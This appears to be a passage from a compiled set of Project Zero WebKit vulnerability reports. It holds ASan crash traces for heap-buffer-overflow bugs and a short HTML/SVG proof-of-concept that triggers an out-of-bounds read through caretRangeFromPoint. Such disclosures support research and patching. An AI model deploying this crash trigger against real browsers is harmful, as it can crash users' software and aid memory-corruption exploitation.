    #2 0x112a52ec8 in WebCore::RenderSVGResourcePattern::applyResource(WebCore::RenderElement&, WebCore::RenderStyle const&, WebCore::GraphicsContext*&, WTF::OptionSet<WebCore::RenderSVGResourceMode>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2844ec8)
    #3 0x112a5ba15 in WebCore::RenderSVGShape::strokeShape(WebCore::RenderStyle const&, WebCore::GraphicsContext&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x284da15)
    #4 0x112a5bd93 in WebCore::RenderSVGShape::strokeShape(WebCore::GraphicsContext&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x284dd93)
    #5 0x112a5bf73 in WebCore::RenderSVGShape::fillStrokeMarkers(WebCore::PaintInfo&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x284df73)
    #6 0x112a5c607 in WebCore::RenderSVGShape::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x284e607)
    #7 0x112a5808c in WebCore::RenderSVGRoot::paintReplaced(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x284a08c)
    #8 0x1129f2437 in WebCore::RenderReplaced::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27e4437)
    #9 0x11286144d in WebCore::RenderElement::paintAsInlineBlock(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x265344d)
    #10 0x1111dca7c in WebCore::InlineElementBox::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::LayoutUnit, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xfcea7c)
    #11 0x1111eaf61 in WebCore::InlineFlowBox::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::LayoutUnit, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xfdcf61)
    #12 0x112bce3fb in WebCore::RootInlineBox::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::LayoutUnit, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x29c03fb)
    #13 0x11296d30a in WebCore::RenderLineBoxList::paint(WebCore::RenderBoxModelObject*, WebCore::PaintInfo&, WebCore::LayoutPoint const&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x275f30a)
    #14 0x11274fd8f in WebCore::RenderBlock::paintContents(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2541d8f)
    #15 0x1127510f0 in WebCore::RenderBlock::paintObject(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25430f0)
    #16 0x11274fa11 in WebCore::RenderBlock::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2541a11)
    #17 0x1127504a7 in WebCore::RenderBlock::paintChild(WebCore::RenderBox&, WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::PaintInfo&, bool, WebCore::RenderBlock::PaintBlockType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25424a7)
    #18 0x11274ffae in WebCore::RenderBlock::paintChildren(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::PaintInfo&, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2541fae)
    #19 0x11274fe87 in WebCore::RenderBlock::paintContents(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2541e87)
    #20 0x1127510f0 in WebCore::RenderBlock::paintObject(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25430f0)
    #21 0x11274fa11 in WebCore::RenderBlock::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2541a11)
    #22 0x11290e9e6 in WebCore::RenderLayer::paintForegroundForFragmentsWithPhase(WebCore::PaintPhase, WTF::Vector<WebCore::LayerFragment, 1ul, WTF::CrashOnOverflow, 16ul> const&, WebCore::GraphicsContext&, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int, WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27009e6)
    #23 0x11290a93b in WebCore::RenderLayer::paintForegroundForFragments(WTF::Vector<WebCore::LayerFragment, 1ul, WTF::CrashOnOverflow, 16ul> const&, WebCore::GraphicsContext&, WebCore::GraphicsContext&, WebCore::LayoutRect const&, bool, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int, WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x26fc93b)
    #24 0x112905528 in WebCore::RenderLayer::paintLayerContents(WebCore::GraphicsContext&, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x26f7528)
    #25 0x1129029a2 in WebCore::RenderLayer::paintLayer(WebCore::GraphicsContext&, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x26f49a2)
    #26 0x11290a5ef in WebCore::RenderLayer::paintList(WTF::Vector<WebCore::RenderLayer*, 0ul, WTF::CrashOnOverflow, 16ul>*, WebCore::GraphicsContext&, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x26fc5ef)
    #27 0x1129055ba in WebCore::RenderLayer::paintLayerContents(WebCore::GraphicsContext&, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x26f75ba)
    #28 0x11293f3c6 in WebCore::RenderLayerBacking::paintIntoLayer(WebCore::GraphicsLayer const*, WebCore::GraphicsContext&, WebCore::IntRect const&, unsigned int, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27313c6)
    #29 0x11293fb5f in WebCore::RenderLayerBacking::paintContents(WebCore::GraphicsLayer const*, WebCore::GraphicsContext&, unsigned int, WebCore::FloatRect const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2731b5f)
    #30 0x110e69212 in WebCore::GraphicsLayer::paintGraphicsLayerContents(WebCore::GraphicsContext&, WebCore::FloatRect const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc5b212)
    #31 0x110e7d715 in WebCore::GraphicsLayerCA::platformCALayerPaintContents(WebCore::PlatformCALayer*, WebCore::GraphicsContext&, WebCore::FloatRect const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc6f715)
    #32 0x112690ca8 in WebCore::PlatformCALayer::drawLayerContents(CGContext*, WebCore::PlatformCALayer*, WTF::Vector<WebCore::FloatRect, 5ul, WTF::CrashOnOverflow, 16ul>&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2482ca8)
    #33 0x1131ccb57 in WebCore::TileGrid::platformCALayerPaintContents(WebCore::PlatformCALayer*, WebCore::GraphicsContext&, WebCore::FloatRect const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2fbeb57)
    #34 0x11345a2c7 in -[WebSimpleLayer drawInContext:] (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x324c2c7)
    #35 0x7fffdadc0891 in CABackingStoreUpdate_ (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x13891)
    #36 0x7fffdaedf557 in invocation function for block in CA::Layer::display_() (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x132557)
    #37 0x7fffdaedf06f in CA::Layer::display_() (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x13206f)
    #38 0x113459fbc in -[WebSimpleLayer display] (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x324bfbc)
    #39 0x7fffdaed3051 in CA::Layer::display_if_needed(CA::Transaction*) (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x126051)
    #40 0x7fffdaed317c in CA::Layer::layout_and_display_if_needed(CA::Transaction*) (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x12617c)
    #41 0x7fffdaec8933 in CA::Context::commit_transaction(CA::Transaction*) (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x11b933)
    #42 0x7fffdadbd7e0 in CA::Transaction::commit() (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x107e0)
    #43 0x7fffdadbe1fb in CA::Transaction::observer_callback(__CFRunLoopObserver*, unsigned long, void*) (/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore:x86_64+0x111fb)
    #44 0x7fffd52aed36 in __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6d36)
    #45 0x7fffd52aeca6 in __CFRunLoopDoObservers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6ca6)
    #46 0x7fffd528f135 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87135)
    #47 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #48 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #49 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #50 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #51 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #52 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #53 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #54 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #55 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #56 0x10b5bf56c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #57 0x7fffeaa0f234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

0x61200007e474 is located 28 bytes to the right of 280-byte region [0x61200007e340,0x61200007e458)
allocated by thread T0 here:
    #0 0x10b626d2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
    #1 0x7fffeab91281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
    #2 0x11ede4ad4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4)
    #3 0x11ede2d6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d)
    #4 0x11ed69247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247)
    #5 0x11ed6863a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a)
    #6 0x110354648 in WebCore::Node::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x146648)
    #7 0x113041e7d in WebCore::SVGFilterElement::create(WebCore::QualifiedName const&, WebCore::Document&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2e33e7d)
    #8 0x112ff58a3 in WebCore::filterConstructor(WebCore::QualifiedName const&, WebCore::Document&, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2de78a3)
    #9 0x112ff294d in WebCore::SVGElementFactory::createElement(WebCore::QualifiedName const&, WebCore::Document&, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2de494d)
    #10 0x11099ad80 in WebCore::Document::createElement(WebCore::QualifiedName const&, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x78cd80)
    #11 0x110f1ed2d in WebCore::HTMLConstructionSite::createElement(WebCore::AtomicHTMLToken&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd10d2d)
    #12 0x110f1eabe in WebCore::HTMLConstructionSite::insertForeignElement(WebCore::AtomicHTMLToken&&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd10abe)
    #13 0x11108190a in WebCore::HTMLTreeBuilder::processTokenInForeignContent(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe7390a)
    #14 0x111080d07 in WebCore::HTMLTreeBuilder::constructTree(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe72d07)
    #15 0x110f49c8a in WebCore::HTMLDocumentParser::constructTreeFromHTMLToken(WebCore::HTMLTokenizer::TokenPtr&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3bc8a)
    #16 0x110f49849 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3b849)
    #17 0x110f489c2 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3a9c2)
    #18 0x110f4a4e8 in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3c4e8)
    #19 0x110928531 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x71a531)
    #20 0x110a6563d in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x85763d)
    #21 0x110a26736 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x818736)
    #22 0x1104a2047 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x294047)
    #23 0x11049adf1 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28cdf1)
    #24 0x112f72661 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d64661)
    #25 0x10db2d43b in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb1343b)
    #26 0x10db306d9 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb166d9)
    #27 0x10db2fbc9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb15bc9)
    #28 0x10d321117 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x307117)
    #29 0x10d100695 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xe6695)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2e99152) in WebCore::SVGPatternElement::collectPatternAttributes(WebCore::PatternAttributes&) const
Shadow bytes around the buggy address:
  0x1c240000fc30: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c240000fc40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c240000fc50: 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa
  0x1c240000fc60: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c240000fc70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x1c240000fc80: 00 00 00 00 00 00 00 00 00 00 00 fa fa fa[fa]fa
  0x1c240000fc90: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c240000fca0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c240000fcb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c240000fcc0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c240000fcd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==30453==ABORTING
*/
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1349

There is an out-of-bounds read security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
*/

<style>
* { border-bottom: green solid; margin: 0px; }
</style>
<script>
function eventhandler() {
  dd.before(a);
  document.caretRangeFromPoint(0,0);
}
</script>
<h6>
<a id="a"></a>
</h6>
<dd id="dd"></dd>
<svg>
<set attributeName="dominant-baseline" onbegin="eventhandler()" />

/*
=================================================================

ASan log:

=================================================================
==30436==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x606000560c48 at pc 0x00010c8f583a bp 0x7fff5c1a8e70 sp 0x7fff5c1a8e68
READ of size 4 at 0x606000560c48 thread T0
==30436==WARNING: invalid path to external symbolizer!
==30436==WARNING: Failed to use and restart external symbolizer!
    #0 0x10c8f5839 in WebCore::SimpleLineLayout::RunResolver::Run::logicalLeft() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2ba4839)
    #1 0x10c8fd2cb in WebCore::SimpleLineLayout::RunResolver::runForPoint(WebCore::LayoutPoint const&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2bac2cb)
    #2 0x10c8f533f in WebCore::SimpleLineLayout::textOffsetForPoint(WebCore::LayoutPoint const&, WebCore::RenderText const&, WebCore::SimpleLineLayout::Layout const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2ba433f)
    #3 0x10c635a06 in WebCore::RenderText::positionForPoint(WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28e4a06)
    #4 0x10c2f5080 in WebCore::RenderBlockFlow::positionForPoint(WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25a4080)
    #5 0x10a4e350a in WebCore::Document::caretRangeFromPoint(WebCore::LayoutPoint const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x79250a)
    #6 0x10a4e3301 in WebCore::Document::caretRangeFromPoint(int, int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x792301)
    #7 0x10b0fb98b in WebCore::jsDocumentPrototypeFunctionCaretRangeFromPointBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13aa98b)
    #8 0x10b0e0c28 in long long WebCore::IDLOperation<WebCore::JSDocument>::call<&(WebCore::jsDocumentPrototypeFunctionCaretRangeFromPointBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState&, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x138fc28)
    #9 0x4f28e9401027  (<unknown module>)
    #10 0x11825fe49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #11 0x11825fe49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #12 0x118258f6f in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a3f6f)
    #13 0x117ebc847 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1307847)
    #14 0x117e3d88a in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x128888a)
    #15 0x117456731 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1731)
    #16 0x1174569a2 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a19a2)
    #17 0x117456d13 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1d13)
    #18 0x10af8f615 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x123e615)
    #19 0x10b3a26cd in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x16516cd)
    #20 0x10a70e010 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bd010)
    #21 0x10a70dae0 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bcae0)
    #22 0x10a6d5b97 in WebCore::EventContext::handleLocalEvents(WebCore::Event&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x984b97)
    #23 0x10a6d6b2f in WebCore::dispatchEventInDOM(WebCore::Event&, WebCore::EventPath const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x985b2f)
    #24 0x10a6d6553 in WebCore::EventDispatcher::dispatchEvent(WebCore::Node&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x985553)
    #25 0x10cc0d5f2 in WebCore::SVGSMILElement::dispatchPendingEvent(WebCore::EventSender<WebCore::SVGSMILElement>*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2ebc5f2)
    #26 0x10cc0d92a in WebCore::EventSender<WebCore::SVGSMILElement>::dispatchPendingEvents() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2ebc92a)
    #27 0x10ccfd242 in WebCore::ThreadTimers::sharedTimerFiredInternal() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2fac242)
    #28 0x10bebbe74 in WebCore::timerFired(__CFRunLoopTimer*, void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x216ae74)
